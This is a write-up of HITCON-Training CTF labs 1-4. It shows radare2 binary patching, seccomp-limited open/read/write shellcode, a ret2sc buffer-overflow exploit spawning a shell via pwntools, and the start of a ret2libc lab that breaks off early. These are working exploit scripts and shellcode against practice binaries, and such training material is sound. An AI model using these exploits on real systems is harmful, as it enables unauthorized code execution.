HITCON-Training

Lab 1

lab1$ ./sysmagic
Give me maigc :123

Nothing happend. Let me see strings from data section.

lab1$ rabin2 -z sysmagic
vaddr=0x08048830 paddr=0x00000830 ordinal=000 sz=13 len=12 section=.rodata type=ascii string=/dev/urandom
vaddr=0x0804883d paddr=0x0000083d ordinal=001 sz=16 len=15 section=.rodata type=ascii string=Give me maigc :

/dev/urandom can help generate random numbers, so we can guess it generate random number first and then compare with the number we input (maigc).

I opened the binary with radare2 using -w to be in write mode, allowing radare2 to write data to the file. and aa tells radare2 to analyse the whole binary, afl list all functions.

lab1$ radare2 -w sysmagic
 -- Press 'C' in visual mode to toggle colors
[0x080484a0]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x080484a0]> afl
0x080483dc    3 35           sym._init
0x08048410    1 6            sym.imp.read
0x08048420    1 6            sym.imp.printf
0x08048430    1 6            sym.imp.__stack_chk_fail
0x08048440    1 6            sym.imp.open
0x08048450    1 6            sym.imp.__libc_start_main
0x08048460    1 6            sym.imp.setvbuf
0x08048470    1 6            sym.imp.putchar
0x08048480    1 6            sym.imp.__isoc99_scanf
0x08048490    1 6            fcn.08048490
0x080484a0    1 33           entry0
0x080484d0    1 4            sym.__x86.get_pc_thunk.bx
0x080484e0    4 43           sym.deregister_tm_clones
0x08048510    4 53           sym.register_tm_clones
0x08048550    3 30           sym.__do_global_dtors_aux
0x08048570    4 43   -> 40   sym.frame_dummy
0x0804859b    7 473          sym.get_flag
0x08048774    1 55           sym.main
0x080487b0    4 93           sym.__libc_csu_init
0x08048810    1 2            sym.__libc_csu_fini
0x08048814    1 20           sym._fini

We found the fuction sym.get_flag, so we use pdf @ sym.get_flag command and focus on these lines:

[0x080484a0]> pdf @ sym.get_flag
/ (fcn) sym.get_flag 473
|   sym.get_flag ();
|              ; CALL XREF from 0x08048799 (sym.main)
|           0x0804859b      55             push ebp
|           0x0804859c      89e5           mov ebp, esp
|           0x0804859e      81ec88000000   sub esp, 0x88
|           0x080485a4      65a114000000   mov eax, dword gs:[0x14]    ; [0x14:4]=1
|           0x080485aa      8945f4         mov dword [local_ch], eax
|           0x080485ad      31c0           xor eax, eax
|           0x080485af      c745c2446f5f.  mov dword [local_3eh], 0x795f6f44
|           0x080485b6      c745c66f755f.  mov dword [local_3ah], 0x6b5f756f
|           0x080485bd      c745ca6e6f77.  mov dword [local_36h], 0x5f776f6e
|           0x080485c4      c745ce776879.  mov dword [local_32h], 0x5f796877
|           0x080485cb      c745d26d795f.  mov dword [local_2eh], 0x745f796d
|           0x080485d2      c745d665616d.  mov dword [local_2ah], 0x6d6d6165
|           0x080485d9      c745da617465.  mov dword [local_26h], 0x5f657461
|           0x080485e0      c745de4f7261.  mov dword [local_22h], 0x6e61724f
|           0x080485e7      c745e267655f.  mov dword [local_1eh], 0x695f6567
|           0x080485ee      c745e6735f73.  mov dword [local_1ah], 0x6f735f73
|           0x080485f5      c745ea5f616e.  mov dword [local_16h], 0x676e615f
|           0x080485fc      c745ee72793f.  mov dword [local_12h], 0x3f3f7972
|           0x08048603      66c745f23f00   mov word [local_eh], 0x3f   ; '?'
|           0x08048609      c6459107       mov byte [local_6fh], 7
|           0x0804860d      c645923b       mov byte [local_6eh], 0x3b  ; ';'
|           0x08048611      c6459319       mov byte [local_6dh], 0x19
|           0x08048615      c6459402       mov byte [local_6ch], 2
|           0x08048619      c645950b       mov byte [local_6bh], 0xb
|           0x0804861d      c6459610       mov byte [local_6ah], 0x10
|           0x08048621      c645973d       mov byte [local_69h], 0x3d  ; '='
|           0x08048625      c645981e       mov byte [local_68h], 0x1e
|           0x08048629      c6459909       mov byte [local_67h], 9
|           0x0804862d      c6459a08       mov byte [local_66h], 8
|           0x08048631      c6459b12       mov byte [local_65h], 0x12
|           0x08048635      c6459c2d       mov byte [local_64h], 0x2d  ; '-'
|           0x08048639      c6459d28       mov byte [local_63h], 0x28  ; '('
|           0x0804863d      c6459e59       mov byte [local_62h], 0x59  ; 'Y'
|           0x08048641      c6459f0a       mov byte [local_61h], 0xa
|           0x08048645      c645a000       mov byte [local_60h], 0
|           0x08048649      c645a11e       mov byte [local_5fh], 0x1e
|           0x0804864d      c645a216       mov byte [local_5eh], 0x16
|           0x08048651      c645a300       mov byte [local_5dh], 0
|           0x08048655      c645a404       mov byte [local_5ch], 4
|           0x08048659      c645a555       mov byte [local_5bh], 0x55  ; 'U'
|           0x0804865d      c645a616       mov byte [local_5ah], 0x16
|           0x08048661      c645a708       mov byte [local_59h], 8
|           0x08048665      c645a81f       mov byte [local_58h], 0x1f
|           0x08048669      c645a907       mov byte [local_57h], 7
|           0x0804866d      c645aa01       mov byte [local_56h], 1
|           0x08048671      c645ab09       mov byte [local_55h], 9
|           0x08048675      c645ac00       mov byte [local_54h], 0
|           0x08048679      c645ad7e       mov byte [local_53h], 0x7e  ; '~'
|           0x0804867d      c645ae1c       mov byte [local_52h], 0x1c
|           0x08048681      c645af3e       mov byte [local_51h], 0x3e  ; '>'
|           0x08048685      c645b00a       mov byte [local_50h], 0xa
|           0x08048689      c645b11e       mov byte [local_4fh], 0x1e
|           0x0804868d      c645b20b       mov byte [local_4eh], 0xb
|           0x08048691      c645b36b       mov byte [local_4dh], 0x6b  ; 'k'
|           0x08048695      c645b404       mov byte [local_4ch], 4
|           0x08048699      c645b542       mov byte [local_4bh], 0x42  ; 'B'
|           0x0804869d      c645b63c       mov byte [local_4ah], 0x3c  ; '<'
|           0x080486a1      c645b72c       mov byte [local_49h], 0x2c  ; ','
|           0x080486a5      c645b85b       mov byte [local_48h], 0x5b  ; '['
|           0x080486a9      c645b931       mov byte [local_47h], 0x31  ; '1'
|           0x080486ad      c645ba55       mov byte [local_46h], 0x55  ; 'U'
|           0x080486b1      c645bb02       mov byte [local_45h], 2
|           0x080486b5      c645bc1e       mov byte [local_44h], 0x1e
|           0x080486b9      c645bd21       mov byte [local_43h], 0x21  ; '!'
|           0x080486bd      c645be10       mov byte [local_42h], 0x10
|           0x080486c1      c645bf4c       mov byte [local_41h], 0x4c  ; 'L'
|           0x080486c5      c645c01e       mov byte [local_40h], 0x1e
|           0x080486c9      c645c142       mov byte [local_3fh], 0x42  ; 'B'
|           0x080486cd      83ec08         sub esp, 8
|           0x080486d0      6a00           push 0
|           0x080486d2      6830880408     push str._dev_urandom       ; "/dev/urandom" @ 0x8048830
|           0x080486d7      e864fdffff     call sym.imp.open          ; int open(const char *path, int oflag)
|           0x080486dc      83c410         add esp, 0x10
|           0x080486df      89458c         mov dword [local_74h], eax
|           0x080486e2      83ec04         sub esp, 4
|           0x080486e5      6a04           push 4
|           0x080486e7      8d4580         lea eax, dword [local_80h]
|           0x080486ea      50             push eax
|           0x080486eb      ff758c         push dword [local_74h]
|           0x080486ee      e81dfdffff     call sym.imp.read          ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x080486f3      83c410         add esp, 0x10
|           0x080486f6      83ec0c         sub esp, 0xc
|           0x080486f9      683d880408     push str.Give_me_maigc_:    ; "Give me maigc :" @ 0x804883d
|           0x080486fe      e81dfdffff     call sym.imp.printf        ; int printf(const char *format)
|           0x08048703      83c410         add esp, 0x10
|           0x08048706      83ec08         sub esp, 8
|           0x08048709      8d4584         lea eax, dword [local_7ch]
|           0x0804870c      50             push eax
|           0x0804870d      684d880408     push 0x804884d              ; "%d"
|           0x08048712      e869fdffff     call sym.imp.__isoc99_scanf; int scanf(const char *format)
|           0x08048717      83c410         add esp, 0x10
|           0x0804871a      8b5580         mov edx, dword [local_80h]
|           0x0804871d      8b4584         mov eax, dword [local_7ch]
|           0x08048720      39c2           cmp edx, eax
|       ,=< 0x08048722      753c           jne 0x8048760
|       |   0x08048724      c74588000000.  mov dword [local_78h], 0
|      ,==< 0x0804872b      eb2b           jmp 0x8048758
|     .---> 0x0804872d      8d5591         lea edx, dword [local_6fh]
|     |||   0x08048730      8b4588         mov eax, dword [local_78h]
|     |||   0x08048733      01d0           add eax, edx
|     |||   0x08048735      0fb608         movzx ecx, byte [eax]
|     |||   0x08048738      8d55c2         lea edx, dword [local_3eh]
|     |||   0x0804873b      8b4588         mov eax, dword [local_78h]
|     |||   0x0804873e      01d0           add eax, edx
|     |||   0x08048740      0fb600         movzx eax, byte [eax]
|     |||   0x08048743      31c8           xor eax, ecx
|     |||   0x08048745      0fbec0         movsx eax, al
|     |||   0x08048748      83ec0c         sub esp, 0xc
|     |||   0x0804874b      50             push eax
|     |||   0x0804874c      e81ffdffff     call sym.imp.putchar       ; int putchar(int c)
|     |||   0x08048751      83c410         add esp, 0x10
|     |||   0x08048754      83458801       add dword [local_78h], 1
|     !||      ; JMP XREF from 0x0804872b (sym.get_flag)
|     |`--> 0x08048758      8b4588         mov eax, dword [local_78h]
|     | |   0x0804875b      83f830         cmp eax, 0x30               ; '0' ; '0'
|     `===< 0x0804875e      76cd           jbe 0x804872d
|       `-> 0x08048760      90             nop
|           0x08048761      8b45f4         mov eax, dword [local_ch]
|           0x08048764      653305140000.  xor eax, dword gs:[0x14]
|       ,=< 0x0804876b      7405           je 0x8048772
|       |   0x0804876d      e8befcffff     call sym.imp.__stack_chk_fail; void __stack_chk_fail(void)
|       `-> 0x08048772      c9             leave
\           0x08048773      c3             ret

At 0x08048720 is a cmp instruction, it compare the random number generated using /dev/urandom before with the number we inputed. The next line shows that if these two numbers not equal, it will jump to 0x8048760 and we get fail. So we can use nop instruction to replace the jne instruction at 0x08048722.

[0x080484a0]> s 0x08048722
[0x08048722]> pd 5
|       ,=< 0x08048722      753c           jne 0x8048760
|       |   0x08048724      c74588000000.  mov dword [local_78h], 0
|      ,==< 0x0804872b      eb2b           jmp 0x8048758
|      ||   0x0804872d      8d5591         lea edx, dword [local_6fh]
|      ||   0x08048730      8b4588         mov eax, dword [local_78h]
[0x08048722]> wx 9090
[0x08048722]> pd 5
|           0x08048722      90             nop
|           0x08048723      90             nop
|           0x08048724      c74588000000.  mov dword [local_78h], 0
|       ,=< 0x0804872b      eb2b           jmp 0x8048758
|       |   0x0804872d      8d5591         lea edx, dword [local_6fh]

s lets you seek to an address (or symbol)

pd # lets you print disassembly of # instructions (from current seek)

wx is short for Write heX, and allows for writing raw bytes to an offset specificly.

This time we get the flag:

lab1$ ./sysmagic
Give me maigc :123
CTF{debugger_1s_so_p0werful_1n_dyn4m1c_4n4lySis!}

Finally, let’s see the source code:

#include <stdio.h>
#include <unistd.h>

void get_flag(){
	int fd ;
	int password;
	int magic ;
	char key[] = "Do_you_know_why_my_teammate_Orange_is_so_angry???";
	char cipher[] = {7, 59, 25, 2, 11, 16, 61, 30, 9, 8, 18, 45, 40, 89, 10, 0, 30, 22, 0, 4, 85, 22, 8, 31, 7, 1, 9, 0, 126, 28, 62, 10, 30, 11, 107, 4, 66, 60, 44, 91, 49, 85, 2, 30, 33, 16, 76, 30, 66};
	fd = open("/dev/urandom",0);
	read(fd,&password,4);
	printf("Give me maigc :");
	scanf("%d",&magic);
	if(password == magic){
		for(int i = 0 ; i < sizeof(cipher) ; i++){
			printf("%c",cipher[i]^key[i]);
		}
	}
}

int main(){
	setvbuf(stdout,0,2,0);
	get_flag();
	return 0 ;
}

Lab 2

[0x080483d0]> pdf @ sym.main
            ;-- main:
/ (fcn) sym.main 81
|   sym.main ();
|           ; var int local_4h_2 @ ebp-0x4
|           ; var int local_4h @ esp+0x4
|              ; DATA XREF from 0x080483e7 (entry0)
|           0x08048548      8d4c2404       lea ecx, dword [local_4h]   ; 0x4
|           0x0804854c      83e4f0         and esp, 0xfffffff0
|           0x0804854f      ff71fc         push dword [ecx - 4]
|           0x08048552      55             push ebp
|           0x08048553      89e5           mov ebp, esp
|           0x08048555      51             push ecx
|           0x08048556      83ec04         sub esp, 4
|           0x08048559      e86dffffff     call sym.orw_seccomp
|           0x0804855e      83ec0c         sub esp, 0xc
|           0x08048561      68a0860408     push str.Give_my_your_shellcode: ; "Give my your shellcode:" @ 0x80486a0
|           0x08048566      e815feffff     call sym.imp.printf        ; int printf(const char *format)
|           0x0804856b      83c410         add esp, 0x10
|           0x0804856e      83ec04         sub esp, 4
|           0x08048571      68c8000000     push 0xc8
|           0x08048576      6860a00408     push obj.shellcode          ; obj.shellcode
|           0x0804857b      6a00           push 0
|           0x0804857d      e8eefdffff     call sym.imp.read          ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x08048582      83c410         add esp, 0x10
|           0x08048585      b860a00408     mov eax, obj.shellcode      ; obj.shellcode
|           0x0804858a      ffd0           call eax
|           0x0804858c      b800000000     mov eax, 0
|           0x08048591      8b4dfc         mov ecx, dword [local_4h_2]
|           0x08048594      c9             leave
|           0x08048595      8d61fc         lea esp, dword [ecx - 4]
\           0x08048598      c3             ret
[0x080483d0]> pdf @ sym.orw_seccomp
/ (fcn) sym.orw_seccomp 125
|   sym.orw_seccomp ();
|           ; var int local_84h @ ebp-0x84
|           ; var int local_80h @ ebp-0x80
|           ; var int local_7ch @ ebp-0x7c
|           ; var int local_1ch @ ebp-0x1c
|           ; var int local_ch @ ebp-0xc
|              ; CALL XREF from 0x08048559 (sym.main)
|           0x080484cb      55             push ebp
|           0x080484cc      89e5           mov ebp, esp
|           0x080484ce      57             push edi
|           0x080484cf      56             push esi
|           0x080484d0      53             push ebx
|           0x080484d1      83ec7c         sub esp, 0x7c               ; '|'
|           0x080484d4      65a114000000   mov eax, dword gs:[0x14]    ; [0x14:4]=1
|           0x080484da      8945e4         mov dword [local_1ch], eax
|           0x080484dd      31c0           xor eax, eax
|           0x080484df      8d4584         lea eax, dword [local_7ch]
|           0x080484e2      bb40860408     mov ebx, 0x8048640
|           0x080484e7      ba18000000     mov edx, 0x18
|           0x080484ec      89c7           mov edi, eax
|           0x080484ee      89de           mov esi, ebx
|           0x080484f0      89d1           mov ecx, edx
|           0x080484f2      f3a5           rep movsd dword es:[edi], dword ptr [esi]
|           0x080484f4      66c7857cffff.  mov word [local_84h], 0xc
|           0x080484fd      8d4584         lea eax, dword [local_7ch]
|           0x08048500      894580         mov dword [local_80h], eax
|           0x08048503      83ec0c         sub esp, 0xc
|           0x08048506      6a00           push 0
|           0x08048508      6a00           push 0
|           0x0804850a      6a00           push 0
|           0x0804850c      6a01           push 1
|           0x0804850e      6a26           push 0x26                   ; '&' ; '&'
|           0x08048510      e89bfeffff     call sym.imp.prctl
|           0x08048515      83c420         add esp, 0x20
|           0x08048518      83ec04         sub esp, 4
|           0x0804851b      8d857cffffff   lea eax, dword [local_84h]
|           0x08048521      50             push eax
|           0x08048522      6a02           push 2
|           0x08048524      6a16           push 0x16
|           0x08048526      e885feffff     call sym.imp.prctl
|           0x0804852b      83c410         add esp, 0x10
|           0x0804852e      90             nop
|           0x0804852f      8b45e4         mov eax, dword [local_1ch]
|           0x08048532      653305140000.  xor eax, dword gs:[0x14]
|       ,=< 0x08048539      7405           je 0x8048540
|       |   0x0804853b      e850feffff     call sym.imp.__stack_chk_fail; void __stack_chk_fail(void)
|       `-> 0x08048540      8d65f4         lea esp, dword [local_ch]
|           0x08048543      5b             pop ebx
|           0x08048544      5e             pop esi
|           0x08048545      5f             pop edi
|           0x08048546      5d             pop ebp
\           0x08048547      c3             ret

The lab seems to execute shellcode you entered. But as the lab’s name (orw) show, we just can get the flag using open, read and write syscall. Let’s see what the function prctl means. (man prctl command)

NAME
       prctl - operations on a process

SYNOPSIS
       #include <sys/prctl.h>

       int prctl(int option, unsigned long arg2, unsigned long arg3,
                 unsigned long arg4, unsigned long arg5);

DESCRIPTION
       prctl()  is  called  with a first argument describing what to do (with
       values defined in <linux/prctl.h>), and further arguments with a  sig‐
       nificance depending on the first one.

So, these two prctl functions in sym.orw_seccomp have the first argument 0x26 (38) and 0x16 (22).

Then the prctl.h. (cat /usr/include/linux/prctl.h):

/* Get/set process seccomp mode */
#define PR_GET_SECCOMP	21
#define PR_SET_SECCOMP	22
PR_SET_SECCOMP (since Linux 2.6.23)
       Set the secure computing (seccomp) mode for the calling thread, to limit the available system calls.  The more recent seccomp(2) system call provides a superset of the functionality of
       PR_SET_SECCOMP.

       The seccomp mode is selected via arg2.  (The seccomp constants are defined in <linux/seccomp.h>.)

       With  arg2 set to SECCOMP_MODE_STRICT, the only system calls that the thread is permitted to make are read(2), write(2), _exit(2) (but not exit_group(2)), and sigreturn(2).  Other sys‐
       tem calls result in the delivery of a SIGKILL signal.  Strict secure computing mode is useful for number-crunching applications that may need to execute untrusted  byte  code,  perhaps
       obtained by reading from a pipe or socket.  This operation is available only if the kernel is configured with CONFIG_SECCOMP enabled.

       With  arg2  set  to  SECCOMP_MODE_FILTER (since Linux 3.5), the system calls allowed are defined by a pointer to a Berkeley Packet Filter passed in arg3.  This argument is a pointer to
       struct sock_fprog; it can be designed to filter arbitrary system calls and system call arguments.  This mode is available only if the kernel is  configured  with  CONFIG_SECCOMP_FILTER
       enabled.

       If  SECCOMP_MODE_FILTER  filters permit fork(2), then the seccomp mode is inherited by children created by fork(2); if execve(2) is permitted, then the seccomp mode is preserved across
       execve(2).  If the filters permit prctl() calls, then additional filters can be added; they are run in order until the first non-allow result is seen.
/*
 * If no_new_privs is set, then operations that grant new privileges (i.e.
 * execve) will either fail or not grant them.  This affects suid/sgid,
 * file capabilities, and LSMs.
 *
 * Operations that merely manipulate or drop existing privileges (setresuid,
 * capset, etc.) will still work.  Drop those privileges if you want them gone.
 *
 * Changing LSM security domain is considered a new privilege.  So, for example,
 * asking selinux for a specific new context (e.g. with runcon) will result
 * in execve returning -EPERM.
 *
 * See Documentation/prctl/no_new_privs.txt for more details.
 */
#define PR_SET_NO_NEW_PRIVS	38
#define PR_GET_NO_NEW_PRIVS	39

#define PR_GET_TID_ADDRESS	40

#define PR_SET_THP_DISABLE	41
#define PR_GET_THP_DISABLE	42
PR_SET_NO_NEW_PRIVS (since Linux 3.5)
       Set  the  calling  thread's  no_new_privs bit to the value in arg2.  With no_new_privs set to 1, execve(2) promises not to grant privileges to do anything that could not have been done
       without the execve(2) call (for example, rendering the set-user-ID and set-group-ID mode bits, and file capabilities non-functional).  Once set, this bit cannot be unset.  The  setting
       of this bit is inherited by children created by fork(2) and clone(2), and preserved across execve(2).

We found The seccomp mode is selected via arg2. (The seccomp constants are defined in <linux/seccomp.h>.), and these two prctl functions in sym.orw_seccomp’s arg2 are 1 and 2. Let’s see seccomp.h.

/* Valid values for seccomp.mode and prctl(PR_SET_SECCOMP, <mode>) */
#define SECCOMP_MODE_STRICT	1 /* uses hard-coded filter. */
#define SECCOMP_MODE_FILTER	2 /* uses user-supplied filter. */
SECCOMP_SET_MODE_STRICT
       The only system calls that the calling thread is permitted to make are read(2), write(2), _exit(2) (but not exit_group(2)), and sigreturn(2).  Other system calls result in the delivery
       of a SIGKILL signal.  Strict secure computing mode is useful for number-crunching applications that may need to execute untrusted byte code, perhaps obtained by reading from a pipe  or
       socket.

       Note  that  although  the  calling thread can no longer call sigprocmask(2), it can use sigreturn(2) to block all signals apart from SIGKILL and SIGSTOP.  This means that alarm(2) (for
       example) is not sufficient for restricting the process's execution time.  Instead, to reliably terminate the process, SIGKILL must be used.  This can be done by  using  timer_create(2)
       with SIGEV_SIGNAL and sigev_signo set to SIGKILL, or by using setrlimit(2) to set the hard limit for RLIMIT_CPU.

       This operation is available only if the kernel is configured with CONFIG_SECCOMP enabled.

       The value of flags must be 0, and args must be NULL.

       This operation is functionally identical to the call:

           prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);

SECCOMP_SET_MODE_FILTER
       The  system  calls  allowed are defined by a pointer to a Berkeley Packet Filter (BPF) passed via args.  This argument is a pointer to a struct sock_fprog; it can be designed to filter
       arbitrary system calls and system call arguments.  If the filter is invalid, seccomp() fails, returning EINVAL in errno.

       If fork(2) or clone(2) is allowed by the filter, any child processes will be constrained to the same system call filters as the parent.  If execve(2) is allowed, the  existing  filters
       will be preserved across a call to execve(2).

       In  order to use the SECCOMP_SET_MODE_FILTER operation, either the caller must have the CAP_SYS_ADMIN capability in its user namespace, or the thread must already have the no_new_privs
       bit set.  If that bit was not already set by an ancestor of this thread, the thread must make the following call:

           prctl(PR_SET_NO_NEW_PRIVS, 1);

       Otherwise, the SECCOMP_SET_MODE_FILTER operation will fail and return EACCES in errno.  This requirement ensures that an unprivileged process cannot apply a malicious filter  and  then
       invoke  a  set-user-ID  or  other  privileged program using execve(2), thus potentially compromising that program.  (Such a malicious filter might, for example, cause an attempt to use
       setuid(2) to set the caller's user IDs to non-zero values to instead return 0 without actually making the system call.  Thus, the program might  be  tricked  into  retaining  superuser
       privileges in circumstances where it is possible to influence it to do dangerous things because it did not actually drop privileges.)

       If  prctl(2)  or  seccomp() is allowed by the attached filter, further filters may be added.  This will increase evaluation time, but allows for further reduction of the attack surface
       during execution of a thread.

       The SECCOMP_SET_MODE_FILTER operation is available only if the kernel is configured with CONFIG_SECCOMP_FILTER enabled.

       When flags is 0, this operation is functionally identical to the call:

           prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, args);

So, the most important prctl is the second, and it limit the available system calls. We need write shellcode only use open, read, and write syscall.

from pwn import *

p = process('./orw.bin')
shellcode = '''
\xba\x00\x00\x00\x00\xb9\x00\x00
\x00\x00\x51\x68\x66\x6c\x61\x67
\x89\xe3\xb8\x05\x00\x00\x00\xcd
\x80\xba\xff\x00\x00\x00\x89\xe1
\x89\xc3\xb8\x03\x00\x00\x00\xcd
\x80\xba\xff\x00\x00\x00\x89\xe1
\xbb\x01\x00\x00\x00\xb8\x04\x00
\x00\x00\xcd\x80\xb8\x01\x00\x00
\x00\xcd\x80
'''
p.send(shellcode)
p.interactive()

Lab 3

[0x080483d0]> pdf@sym.main
            ;-- main:
/ (fcn) sym.main 113
|   sym.main ();
|           ; var int local_4h @ esp+0x4
|           ; var int local_8h @ esp+0x8
|           ; var int local_ch @ esp+0xc
|           ; var int local_1ch @ esp+0x1c
|              ; DATA XREF from 0x080483e7 (entry0)
|           0x080484cd      55             push ebp
|           0x080484ce      89e5           mov ebp, esp
|           0x080484d0      83e4f0         and esp, 0xfffffff0
|           0x080484d3      83ec30         sub esp, 0x30               ; '0'
|           0x080484d6      a140a00408     mov eax, dword obj.stdout   ; [0x804a040:4]=0x6e756275 ; "ubuntu1~14.04.3) 4.8.4" @ 0x804a040
|           0x080484db      c744240c0000.  mov dword [local_ch], 0
|           0x080484e3      c74424080200.  mov dword [local_8h], 2
|           0x080484eb      c74424040000.  mov dword [local_4h], 0
|           0x080484f3      890424         mov dword [esp], eax
|           0x080484f6      e8c5feffff     call sym.imp.setvbuf       ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
|           0x080484fb      c70424d08504.  mov dword [esp], str.Name:  ; [0x80485d0:4]=0x656d614e ; "Name:" @ 0x80485d0
|           0x08048502      e879feffff     call sym.imp.printf        ; int printf(const char *format)
|           0x08048507      c74424083200.  mov dword [local_8h], 0x32  ; '2' ; [0x32:4]=0x6001b ; '2'
|           0x0804850f      c744240460a0.  mov dword [local_4h], obj.name ; [0x804a060:4]=0x2075746e ; "ntu 4.8.2-19ubuntu1) 4.8.2" @ 0x804a060
|           0x08048517      c70424000000.  mov dword [esp], 0
|           0x0804851e      e84dfeffff     call sym.imp.read          ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x08048523      c70424d68504.  mov dword [esp], str.Try_your_best: ; [0x80485d6:4]=0x20797254 ; "Try your best:" @ 0x80485d6
|           0x0804852a      e851feffff     call sym.imp.printf        ; int printf(const char *format)
|           0x0804852f      8d44241c       lea eax, dword [local_1ch]  ; 0x1c ; "4"
|           0x08048533      890424         mov dword [esp], eax
|           0x08048536      e855feffff     call sym.imp.gets          ; char*gets(char *s)
|           0x0804853b      90             nop
|           0x0804853c      c9             leave
\           0x0804853d      c3             ret

It’s a simple re2sc lab, we found buf address at 0x804a060. because the overflow point is 0x1c (28) bytes, plus 4 bytes of the ret address, we can generate a 32 bytes’s strings.

from pwn import *

p = process('./ret2sc')
p.sendline(asm(shellcraft.linux.sh()))
p.recv()
p.sendline('A'*32+p32(0x0804a060))
p.interactive()

Finally, the following is the source code:

#include <stdio.h>

char name[50];

int main(){
	setvbuf(stdout,0,2,0);
	printf("Name:");
	read(0,name,50);
	char buf[20];
	printf("Try your best:");
	gets(buf);
	return ;
}

Lab 4

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

This time NX is enabled, so we can’t execute shellcode in stack.

lab4$ sudo cat /proc/[pid]/maps
ffb2f000-ffb50000 rw-p 00000000 00:00 0         [stack]

We know it call libc.so, and libc.so save a large number of available functions, we can let the program execute system("/bin/sh"). First copy libc.so here.

lab4$ ldd ret2lib
	linux-gate.so.1 (0xf7fd7000)
	libc.so.6 => /usr/lib32/libc.so.6 (0xf7dda000)
	/lib/ld-linux.so.2 (0xf7fd9000)
lab4$ cp /usr/lib32/libc.so.6 libc.so